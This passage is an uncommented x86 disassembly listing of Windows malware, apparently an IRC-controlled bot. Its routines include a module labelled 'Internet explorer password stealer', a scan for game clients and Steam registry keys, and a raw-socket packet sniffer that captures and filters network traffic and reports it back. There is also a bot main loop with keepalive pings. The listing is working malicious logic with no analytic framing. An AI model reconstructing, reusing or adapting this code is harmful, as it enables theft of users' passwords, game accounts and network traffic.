		jz	short loc_410927
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_410927:				; CODE XREF: sub_4101E6+57j
					; sub_4101E6+739j
		mov	eax, [ebp-14h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, ebx
		jz	short loc_410938
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_410938:				; CODE XREF: sub_4101E6+74Aj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4101E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41094B	proc near		; CODE XREF: sub_407A76+6Cp

arg_0		= dword	ptr  4

		cmp	dword_419220, 0
		push	esi
		jz	short loc_41098A
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_41098A
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	esi
		push	offset sub_4101E6
		call	sub_406D58
		add	esp, 10h

loc_41098A:				; CODE XREF: sub_41094B+8j
					; sub_41094B+19j
		pop	esi
		retn
sub_41094B	endp

; ---------------------------------------------------------------------------

loc_41098C:				; CODE XREF: .packed:00411963j
					; .packed:0041196Bj ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_410998
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_410998:				; CODE XREF: .packed:00410990j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410999	proc near		; DATA XREF: sub_410B3B+29o

var_5BC		= byte ptr -5BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5BCh
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		xor	esi, esi
		add	esp, 10h
		mov	[ebp+var_8], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_0], esi
		xor	ebx, ebx

loc_4109D7:				; CODE XREF: sub_410999+ACj
		lea	eax, [ebp+var_5BC]
		push	400h
		push	eax
		push	ebx
		call	dword_4121F0
		push	7
		lea	eax, [ebp+var_5BC]
		push	offset aUnreal3	; "Unreal3"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		push	1
		pop	edi
		jnz	short loc_410A0A
		mov	[ebp+var_C], edi

loc_410A0A:				; CODE XREF: sub_410999+6Cj
		lea	eax, [ebp+var_5BC]
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410A24
		mov	[ebp+var_14], edi

loc_410A24:				; CODE XREF: sub_410999+86j
		lea	eax, [ebp+var_5BC]
		push	offset aConquer	; "[Conquer]"
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410A3E
		mov	[ebp+arg_0], edi

loc_410A3E:				; CODE XREF: sub_410999+A0j
		inc	ebx
		cmp	ebx, 0FFFFh
		jb	short loc_4109D7
		mov	edi, dword_412000
		lea	eax, [ebp+var_4]
		mov	ebx, 20019h
		push	eax
		push	ebx
		push	esi
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		mov	[ebp+var_4], esi
		call	edi
		test	eax, eax
		jnz	short loc_410A72
		mov	[ebp+var_8], 1

loc_410A72:				; CODE XREF: sub_410999+D0j
		push	[ebp+var_4]
		mov	esi, dword_412028
		call	esi
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	edi
		test	eax, eax
		jnz	short loc_410A9F
		mov	[ebp+var_10], 1

loc_410A9F:				; CODE XREF: sub_410999+FDj
		push	[ebp+var_4]
		call	esi
		cmp	[ebp+var_20], 0
		mov	eax, offset aNo	; "No"
		mov	ecx, offset aYes ; "Yes"
		jz	short loc_410ADD
		xor	edx, edx
		cmp	[ebp+var_C], edx
		jnz	short loc_410ADF
		cmp	[ebp+var_8], edx
		jnz	short loc_410ADF
		cmp	[ebp+var_10], edx
		jnz	short loc_410ADF
		cmp	[ebp+var_14], edx
		jnz	short loc_410ADF
		cmp	[ebp+arg_0], edx
		jnz	short loc_410AE4
		push	[ebp+var_1BC]
		call	sub_406E6F
		pop	ecx
		jmp	short loc_410B32
; ---------------------------------------------------------------------------

loc_410ADD:				; CODE XREF: sub_410999+119j
		xor	edx, edx

loc_410ADF:				; CODE XREF: sub_410999+120j
					; sub_410999+125j ...
		cmp	[ebp+arg_0], edx
		jz	short loc_410AE8

loc_410AE4:				; CODE XREF: sub_410999+134j
		mov	ebx, ecx
		jmp	short loc_410AEA
; ---------------------------------------------------------------------------

loc_410AE8:				; CODE XREF: sub_410999+149j
		mov	ebx, eax

loc_410AEA:				; CODE XREF: sub_410999+14Dj
		cmp	[ebp+var_14], edx
		mov	edi, ecx
		jnz	short loc_410AF3
		mov	edi, eax

loc_410AF3:				; CODE XREF: sub_410999+156j
		cmp	[ebp+var_10], edx
		mov	esi, ecx
		jnz	short loc_410AFC
		mov	esi, eax

loc_410AFC:				; CODE XREF: sub_410999+15Fj
		cmp	[ebp+var_8], 0
		mov	edx, ecx
		jnz	short loc_410B06
		mov	edx, eax

loc_410B06:				; CODE XREF: sub_410999+169j
		cmp	[ebp+var_C], 0
		jz	short loc_410B0E
		mov	eax, ecx

loc_410B0E:				; CODE XREF: sub_410999+171j
		push	ebx
		push	edi
		push	esi
		push	edx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset dword_418984
		push	eax
		call	sub_4096CB
		push	[ebp+var_1BC]
		call	sub_406E6F
		add	esp, 20h

loc_410B32:				; CODE XREF: sub_410999+142j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_410999	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B3B	proc near		; CODE XREF: sub_407A76+B84p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_410B71
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	esi
		push	offset sub_410999
		call	sub_406D58
		add	esp, 10h

loc_410B71:				; CODE XREF: sub_410B3B+10j
		pop	esi
		retn
sub_410B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B73	proc near		; CODE XREF: sub_410BC3+32p
					; sub_410BC3+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_410BB9
		mov	esi, eax

loc_410B81:				; CODE XREF: sub_410B73+44j
		push	dword ptr [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410BAF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410BBE
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410BBE

loc_410BAF:				; CODE XREF: sub_410B73+20j
		add	esi, 8
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_410B81

loc_410BB9:				; CODE XREF: sub_410B73+Aj
		xor	eax, eax

loc_410BBB:				; CODE XREF: sub_410B73+4Ej
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_410BBE:				; CODE XREF: sub_410B73+27j
					; sub_410B73+3Aj
		push	1
		pop	eax
		jmp	short loc_410BBB
sub_410B73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BC3	proc near		; CODE XREF: sub_410C55+29Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		jz	short loc_410BE6
		push	[ebp+arg_C]
		push	esi
		push	edi
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49

loc_410BE6:				; CODE XREF: sub_410BC3+10j
		mov	ebx, [ebp+arg_8]
		cmp	ebx, 1
		jb	short loc_410C01
		push	esi
		push	edi
		push	offset off_418AB4
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49

loc_410C01:				; CODE XREF: sub_410BC3+29j
		cmp	ebx, 2
		jb	short loc_410C19
		push	esi
		push	edi
		push	offset off_418B10
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49

loc_410C19:				; CODE XREF: sub_410BC3+41j
		cmp	ebx, 3
		jb	short loc_410C31
		push	esi
		push	edi
		push	offset off_418B84
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C49

loc_410C31:				; CODE XREF: sub_410BC3+59j
		cmp	ebx, 4
		jb	short loc_410C4E
		push	esi
		push	edi
		push	offset off_418BC8
		call	sub_410B73
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410C4E

loc_410C49:				; CODE XREF: sub_410BC3+21j
					; sub_410BC3+3Cj ...
		push	1
		pop	eax
		jmp	short loc_410C50
; ---------------------------------------------------------------------------

loc_410C4E:				; CODE XREF: sub_410BC3+71j
					; sub_410BC3+84j
		xor	eax, eax

loc_410C50:				; CODE XREF: sub_410BC3+89j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410BC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C55	proc near		; DATA XREF: sub_4110B4+76o

var_199C	= byte ptr -199Ch
var_1993	= byte ptr -1993h
var_1990	= dword	ptr -1990h
var_198C	= dword	ptr -198Ch
var_970		= byte ptr -970h
var_870		= byte ptr -870h
var_770		= byte ptr -770h
var_670		= byte ptr -670h
var_4F0		= byte ptr -4F0h
var_4EF		= byte ptr -4EFh
var_3F0		= dword	ptr -3F0h
var_3EC		= dword	ptr -3ECh
var_3E8		= byte ptr -3E8h
var_1E8		= byte ptr -1E8h
var_5A		= byte ptr -5Ah
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_44		= byte ptr -44h
var_40		= word ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 199Ch
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	al, [ebp+var_3E8]
		add	esp, 10h
		neg	al
		sbb	eax, eax
		xor	ebx, ebx
		lea	ecx, [ebp+var_3E8]
		push	ebx
		and	eax, ecx
		push	3
		push	2
		mov	[ebp+var_24], eax
		call	dword_41222C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jz	loc_41109F
		lea	eax, [ebp+var_970]
		push	0FFh
		push	eax
		call	dword_412270	; gethostname
		lea	eax, [ebp+var_970]
		push	eax
		call	dword_41224C	; gethostbyname
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_411098
		push	10h
		lea	eax, [ebp+var_40]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		mov	[ebp+var_40], 2
		mov	eax, [edi+0Ch]
		add	esp, 0Ch
		mov	eax, [eax]
		push	10h
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	dword_41221C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_411098
		push	ebx
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	98000001h
		push	esi
		mov	[ebp+var_28], 1
		call	dword_41226C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jz	loc_411098
		push	[ebp+var_3EC]
		mov	eax, [ebp+var_3F0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1E8]
		push	offset unk_418D94
		push	eax
		call	sub_4096CB
		add	esp, 10h
		xor	eax, eax
		lea	edi, [ebp+var_4EF]
		mov	[ebp+var_4F0], bl
		push	3Fh
		mov	[ebp+var_14], bl
		pop	ecx
		mov	[ebp+var_50], bl
		rep stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_13]
		stosd
		stosb
		lea	eax, [ebp+var_4F0]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_4034DE
		pop	ecx
		lea	eax, [ebp+var_14]
		pop	ecx
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_40357F
		pop	ecx
		lea	eax, [ebp+var_4F0]
		pop	ecx
		push	eax
		call	dword_412254	; inet_addr
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41151C	; atoi
		mov	[ebp+var_30], eax
		xor	eax, eax
		lea	edi, [ebp+var_1B]
		mov	[ebp+var_1C], bl
		stosd
		stosb
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_403530
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41151C	; atoi
		add	esp, 0Ch
		mov	[ebp+var_2C], eax

loc_410DF1:				; CODE XREF: sub_410C55+1F3j
					; sub_410C55+43Bj
		push	ebx
		lea	eax, [ebp+var_199C]
		push	1028h
		push	eax
		push	esi
		call	dword_412258	; recv
		mov	ecx, [ebp+var_3F0]
		cmp	[ecx+4], ebx
		jnz	loc_411098
		cmp	eax, 0FFFFFFFFh
		jz	loc_411098
		cmp	eax, ebx
		jz	loc_411098
		mov	[ebp+eax+var_199C], bl
		mov	cl, [ebp+var_199C]
		and	ecx, 0Fh
		lea	edx, [ebp+var_199C]
		lea	edi, [ebp+ecx*4+var_199C]
		mov	ecx, edi
		sub	ecx, edx
		cmp	ecx, eax
		jnb	short loc_410DF1
		movzx	ecx, byte ptr [edi+0Ch]
		shr	ecx, 4
		lea	edx, [ebp+var_199C]
		lea	esi, [edi+ecx*4]
		mov	ecx, esi
		sub	ecx, edx
		cmp	ecx, eax
		jnb	loc_41108D
		push	esi
		call	sub_4114BE	; strlen
		cmp	[ebp+var_1993],	6
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	loc_41108D
		cmp	[ebp+var_5A], bl
		jz	short loc_410E91
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_198C],	eax
		jnz	loc_41108D

loc_410E91:				; CODE XREF: sub_410C55+22Bj
		cmp	[ebp+var_54], bl
		jz	short loc_410EA5
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_1990],	eax
		jnz	loc_41108D

loc_410EA5:				; CODE XREF: sub_410C55+23Fj
		mov	ax, [edi]
		push	eax
		call	dword_412248	; htons
		cmp	ax, word ptr [ebp+var_2C]
		jnz	short loc_410EC4
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_1990],	eax
		jz	loc_41108D

loc_410EC4:				; CODE XREF: sub_410C55+25Ej
		mov	ax, [edi]
		push	eax
		call	dword_412248	; htons
		cmp	ax, word ptr [ebp+var_30]
		jnz	short loc_410EE3
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_1990],	eax
		jz	loc_41108D

loc_410EE3:				; CODE XREF: sub_410C55+27Dj
		push	[ebp+var_24]
		push	[ebp+var_3EC]
		push	[ebp+arg_0]
		push	esi
		call	sub_410BC3
		add	esp, 10h
		test	eax, eax
		jz	loc_41108D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		jbe	short loc_410F28

loc_410F07:				; CODE XREF: sub_410C55+2D1j
		cmp	byte ptr [ecx+esi], 0Dh
		lea	eax, [ecx+esi]
		jnz	short loc_410F13
		mov	byte ptr [eax],	2Dh

loc_410F13:				; CODE XREF: sub_410C55+2B9j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_410F1B
		mov	byte ptr [eax],	3Eh

loc_410F1B:				; CODE XREF: sub_410C55+2C1j
		cmp	[eax], bl
		jnz	short loc_410F22
		mov	byte ptr [eax],	2Eh

loc_410F22:				; CODE XREF: sub_410C55+2C8j
		inc	ecx
		cmp	ecx, [ebp+arg_0]
		jb	short loc_410F07

loc_410F28:				; CODE XREF: sub_410C55+2B0j
		xor	eax, eax
		xor	ecx, ecx
		cmp	[esi], bl
		mov	[ebp+arg_0], ecx
		jz	short loc_410F4D

loc_410F33:				; CODE XREF: sub_410C55+2F3j
		mov	dl, [eax+esi]
		cmp	dl, 7Fh
		jge	short loc_410F44
		cmp	dl, 1Fh
		jle	short loc_410F44
		mov	[ecx+esi], dl
		inc	ecx

loc_410F44:				; CODE XREF: sub_410C55+2E4j
					; sub_410C55+2E9j
		inc	eax
		cmp	[eax+esi], bl
		jnz	short loc_410F33
		mov	[ebp+arg_0], ecx

loc_410F4D:				; CODE XREF: sub_410C55+2DCj
		mov	al, [eax+esi]
		cmp	ecx, ebx
		mov	[ecx+esi], al
		jz	loc_41108D
		push	100h
		push	[ebp+var_1990]
		call	dword_412230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_870]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		push	100h
		push	[ebp+var_198C]
		call	dword_412230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_770]
		push	eax
		call	sub_4059C2
		mov	ax, [edi+2]
		add	esp, 0Ch
		push	eax
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_770]
		push	eax
		mov	ax, [edi]
		push	eax
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_870]
		push	eax
		lea	eax, [ebp+var_670]
		push	offset dword_418D60
		push	eax
		call	sub_4114DC	; sprintf
		mov	edi, eax
		mov	eax, 180h
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_670]
		push	esi
		push	eax
		call	sub_4059C2
		add	esp, 24h
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	eax, [ebp+var_3F0]
		cmp	[eax+4], ebx
		jnz	short loc_411095
		mov	eax, 17Fh
		sub	eax, edi
		mov	edi, [ebp+arg_0]
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jnb	short loc_41108D
		add	esi, eax

loc_411038:				; CODE XREF: sub_410C55+436j
		push	180h
		lea	eax, [ebp+var_670]
		push	esi
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	eax, [ebp+var_3F0]
		cmp	[eax+4], ebx
		jnz	short loc_411095
		mov	eax, 17Fh
		add	[ebp+var_4], eax
		add	esi, eax
		cmp	[ebp+var_4], edi
		jb	short loc_411038

loc_41108D:				; CODE XREF: sub_410C55+20Bj
					; sub_410C55+222j ...
		mov	esi, [ebp+var_C]
		jmp	loc_410DF1
; ---------------------------------------------------------------------------

loc_411095:				; CODE XREF: sub_410C55+3CEj
					; sub_410C55+427j
		mov	esi, [ebp+var_C]

loc_411098:				; CODE XREF: sub_410C55+82j
					; sub_410C55+B7j ...
		push	esi
		call	dword_412240	; closesocket

loc_41109F:				; CODE XREF: sub_410C55+59j
		push	[ebp+var_3F0]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_410C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110B4	proc near		; CODE XREF: sub_407A76+643p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	3ABh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_411138
		cmp	[esp+4+arg_4], 0
		jz	short loc_4110D9
		push	[esp+4+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------

loc_4110D9:				; CODE XREF: sub_4110B4+17j
		push	3
		pop	eax

loc_4110DC:				; CODE XREF: sub_4110B4+23j
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jnz	short loc_4110EC
		mov	eax, offset byte_4191D0

loc_4110EC:				; CODE XREF: sub_4110B4+31j
		push	edi
		push	200h
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_4059C2
		mov	edi, [esp+14h+arg_0]
		push	1A3h
		lea	eax, [esi+208h]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		xor	eax, eax
		add	esp, 18h
		cmp	[edi+18Bh], al
		push	dword ptr [esi+4]
		setz	al
		push	offset dword_418DC8
		push	eax
		push	esi
		push	offset sub_410C55
		call	sub_406D58
		add	esp, 14h
		pop	edi

loc_411138:				; CODE XREF: sub_4110B4+10j
		pop	esi
		retn
sub_4110B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41113A	proc near		; CODE XREF: sub_4111BA+4p

arg_0		= dword	ptr  4

		push	offset aRb	; "rb"
		push	[esp+4+arg_0]
		call	sub_411506	; fopen
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411159
		push	eax
		call	sub_411500	; fclose
		pop	ecx
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_411159:				; CODE XREF: sub_41113A+12j
		xor	eax, eax
		retn
sub_41113A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41115C	proc near		; CODE XREF: sub_407A76+763p

arg_0		= dword	ptr  4

		push	esi
		push	offset aRb	; "rb"
		push	[esp+8+arg_0]
		call	sub_411506	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4111A5
		push	edi
		push	2
		push	0
		push	esi
		call	sub_411516	; fseek
		push	esi
		call	sub_4114F4	; ftell
		push	0
		push	0
		push	esi
		mov	edi, eax
		call	sub_411516	; fseek
		push	esi
		call	sub_411500	; fclose
		mov	eax, edi
		add	esp, 20h
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4111A5:				; CODE XREF: sub_41115C+15j
		xor	eax, eax
		pop	esi
		retn
sub_41115C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111A9	proc near		; CODE XREF: sub_4111BA+12p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4120B8	; DeleteFileA
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4111A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111BA	proc near		; CODE XREF: sub_402018+11Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41113A
		test	eax, eax
		pop	ecx
		jz	short loc_4111D8
		push	[esp+arg_0]
		call	sub_4111A9
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4111D8:				; CODE XREF: sub_4111BA+Cj
		xor	eax, eax
		retn
sub_4111BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111DB	proc near		; CODE XREF: sub_407A76+5A6p

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	dword ptr [eax]
		call	sub_40A64A
		pop	ecx
		retn
sub_4111DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4111E8	proc near		; CODE XREF: start+118j
					; DATA XREF: start+113o

var_12F4	= dword	ptr -12F4h
var_12F0	= dword	ptr -12F0h
var_12EC	= byte ptr -12ECh
var_115C	= byte ptr -115Ch
var_1128	= dword	ptr -1128h
var_1121	= byte ptr -1121h
var_1120	= byte ptr -1120h
var_101C	= dword	ptr -101Ch
var_1018	= byte ptr -1018h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4122A8
		push	offset sub_41175A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	dword_4120FC
		xor	edi, edi
		mov	[ebp+var_4], edi
		push	dword_418E0C
		push	dword_418E08
		push	3AEh
		push	dword_418E04
		push	edi
		push	dword_418E00
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp+var_115C]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 20h
		mov	[ebp+var_1128],	edi

loc_41125C:				; CODE XREF: sub_4111E8+287j
		cmp	[ebp+var_1128],	0Ah
		jnz	short loc_41126A
		call	sub_4052DF

loc_41126A:				; CODE XREF: sub_4111E8+7Bj
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp+var_115C]
		push	eax
		push	edi
		push	edi
		call	dword_412100
		mov	[ebp+var_12F0],	eax
		cmp	eax, edi
		jz	loc_411469
		call	dword_41206C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	loc_411469
		call	sub_402D7B
		call	sub_4045B7
		call	sub_406B98
		call	sub_40EAC4
		call	sub_40B31E
		call	sub_40A42C
		push	10h
		mov	esi, offset dword_418E00
		push	esi
		call	sub_40B55F
		push	10h
		push	esi
		call	sub_40A606
		push	10h
		push	esi
		call	sub_40A67C
		add	esp, 18h
		call	sub_40B480
		mov	dword_419FD0, eax
		call	sub_40B480
		mov	dword_419FD4, eax
		call	sub_40B480
		mov	dword_419FD8, eax
		call	sub_40B480
		mov	dword_419FDC, eax
		push	104h
		lea	eax, [ebp+var_1120]
		push	eax
		push	edi
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_411337

loc_411324:				; CODE XREF: sub_4111E8+164j
		push	offset byte_4191D0
		push	offset dword_419ECC
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41137D
; ---------------------------------------------------------------------------

loc_411337:				; CODE XREF: sub_4111E8+13Aj
		lea	eax, [ebp+var_1120]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx

loc_411344:				; CODE XREF: sub_4111E8+27Cj
		mov	[ebp+var_12F4],	eax
		cmp	eax, edi
		jz	short loc_411324
		cmp	[ebp+eax+var_1121], 5Ch
		jnz	loc_411463
		lea	eax, [ebp+eax+var_1120]
		push	eax
		mov	esi, offset dword_419ECC
		push	esi
		call	sub_4114B8	; _mbscpy
		push	esi
		push	offset dword_419FE0
		call	sub_4114B8	; _mbscpy
		add	esp, 10h

loc_41137D:				; CODE XREF: sub_4111E8+14Dj
		call	sub_4050D1
		lea	eax, [ebp+var_12EC]
		push	eax
		push	202h
		call	dword_412274	; WSAStartup

loc_411394:				; CODE XREF: sub_4111E8+253j
		push	edi
		push	edi
		push	edi
		call	sub_409522
		add	esp, 0Ch
		call	sub_406A40
		mov	[ebp-1124h], edi
		mov	[ebp+var_101C],	edi

loc_4113B0:				; CODE XREF: sub_4111E8+276j
		mov	[ebp+var_4], 1

loc_4113B7:				; CODE XREF: sub_4111E8+209j
					; sub_4111E8+211j
		push	0EA60h
		call	sub_4091A7
		push	eax
		call	sub_403E1F
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4113FB
		cmp	[ebp+var_101C],	19h
		jz	short loc_411438
		cmp	[ebp+var_101C],	14h
		jnz	short loc_4113F3
		call	sub_40B480
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_4097DB
		pop	ecx

loc_4113F0:				; CODE XREF: sub_4111E8+24Ej
		pop	ecx
		jmp	short loc_4113B7
; ---------------------------------------------------------------------------

loc_4113F3:				; CODE XREF: sub_4111E8+1F5j
		inc	[ebp+var_101C]
		jmp	short loc_4113B7
; ---------------------------------------------------------------------------

loc_4113FB:				; CODE XREF: sub_4111E8+1E3j
		push	1000h
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_403DB2
		add	esp, 0Ch
